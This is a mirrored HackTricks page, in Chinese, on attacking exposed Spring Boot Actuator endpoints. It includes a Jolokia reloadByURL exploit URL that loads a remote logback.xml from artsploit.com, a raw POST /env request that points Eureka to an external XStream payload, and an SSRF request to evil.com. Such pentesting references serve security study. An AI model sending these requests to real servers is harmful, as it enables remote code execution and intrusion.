mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
65 lines
3.2 KiB
Markdown
65 lines
3.2 KiB
Markdown
# Spring Actuators
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## **Spring Auth Bypass**
|
||
|
||
<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**来自** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
|
||
|
||
## 利用 Spring Boot Actuators
|
||
|
||
**查看原始帖子** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
|
||
|
||
### **关键点:**
|
||
|
||
- Spring Boot Actuators 注册的端点包括 `/health`、`/trace`、`/beans`、`/env` 等。在 1 到 1.4 版本中,这些端点无需身份验证即可访问。从 1.5 版本开始,默认情况下只有 `/health` 和 `/info` 是非敏感的,但开发人员通常会禁用此安全性。
|
||
- 某些 Actuator 端点可能会暴露敏感数据或允许有害操作:
|
||
- `/dump`、`/trace`、`/logfile`、`/shutdown`、`/mappings`、`/env`、`/actuator/env`、`/restart` 和 `/heapdump`。
|
||
- 在 Spring Boot 1.x 中,actuators 注册在根 URL 下,而在 2.x 中,它们位于 `/actuator/` 基础路径下。
|
||
|
||
### **利用技术:**
|
||
|
||
1. **通过 '/jolokia' 进行远程代码执行**:
|
||
- `/jolokia` actuator 端点暴露了 Jolokia 库,允许对 MBeans 的 HTTP 访问。
|
||
- `reloadByURL` 操作可以被利用来从外部 URL 重新加载日志配置,这可能导致盲目 XXE 或通过精心制作的 XML 配置进行远程代码执行。
|
||
- 示例利用 URL:`http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`。
|
||
2. **通过 '/env' 进行配置修改**:
|
||
|
||
- 如果存在 Spring Cloud Libraries,`/env` 端点允许修改环境属性。
|
||
- 可以操纵属性以利用漏洞,例如 Eureka serviceURL 中的 XStream 反序列化漏洞。
|
||
- 示例利用 POST 请求:
|
||
|
||
```
|
||
POST /env HTTP/1.1
|
||
Host: 127.0.0.1:8090
|
||
Content-Type: application/x-www-form-urlencoded
|
||
Content-Length: 65
|
||
|
||
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
|
||
```
|
||
|
||
3. **其他有用的设置**:
|
||
- 属性如 `spring.datasource.tomcat.validationQuery`、`spring.datasource.tomcat.url` 和 `spring.datasource.tomcat.max-active` 可以被操纵以进行各种利用,例如 SQL 注入或更改数据库连接字符串。
|
||
|
||
### **附加信息:**
|
||
|
||
- 默认 actuators 的综合列表可以在 [这里](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) 找到。
|
||
- Spring Boot 2.x 中的 `/env` 端点使用 JSON 格式进行属性修改,但一般概念保持不变。
|
||
|
||
### **相关主题:**
|
||
|
||
1. **Env + H2 RCE**:
|
||
- 关于利用 `/env` 端点和 H2 数据库组合的详细信息可以在 [这里](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) 找到。
|
||
|
||
2. **通过错误的路径名解释在 Spring Boot 上进行 SSRF**:
|
||
- Spring 框架对 HTTP 路径名中矩阵参数 (`;`) 的处理可以被利用进行服务器端请求伪造 (SSRF)。
|
||
- 示例利用请求:
|
||
```http
|
||
GET ;@evil.com/url HTTP/1.1
|
||
Host: target.com
|
||
Connection: close
|
||
```
|
||
{{#include ../../banners/hacktricks-training.md}}
|